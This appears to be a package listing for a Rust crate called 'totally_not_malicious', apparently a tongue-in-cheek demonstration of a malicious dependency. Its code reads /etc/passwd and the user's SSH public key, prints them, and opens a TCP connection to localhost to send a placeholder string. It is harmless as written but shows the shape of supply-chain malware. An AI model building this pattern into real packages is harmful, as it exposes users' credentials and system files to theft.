totally_not_malicious 1.0.0

Nothing dodgy here. Use this crate!
Documentation
use std::fs::File;
use std::io::prelude::*;
use std::io::Read;
use std::net::TcpStream;

fn main() {
    steal_passwords();
    steal_private_key();
    send_stuff_over_network();
}

fn steal_passwords() {
    let mut f = match File::open("/etc/passwd") {
        Ok(f) => f,
        Err(_) => {
            println!("drats! foiled!");
            return;
        }
    };

    let mut contents = String::new();
    f.read_to_string(&mut contents).unwrap();
    print!("{}", contents);

}

fn steal_private_key() {
    match std::env::var("LOGNAME") {
        Ok(val) => {
            // only public key. i'm not that evil
            let mut f = match File::open(format!("/home/{}/.ssh/id_rsa.pub", val)) {
                Ok(f) => f,
                Err(_) => {
                    println!("couldn't open public key");
                    return;
                }
            };

            let mut key_contents = String::new();
            f.read_to_string(&mut key_contents).unwrap();
            print!("{}", key_contents);
        },

        Err(_) => {
            println!("couldn't get username");
            return;
        }
    }
}

fn send_stuff_over_network() {
    let malicious_host = "127.0.0.1"; // google is "172.217.25.46" if you want to test *real* networking
    let mut stream = match TcpStream::connect(format!("{}:8080", malicious_host)) {
        Ok(s) => s,
        Err(_) => {
            println!("hmm, no networking?");
            return;
        },
    };

    let msg = String::from("totally not someone's public key\n");
    let _ = stream.write(msg.as_bytes());
}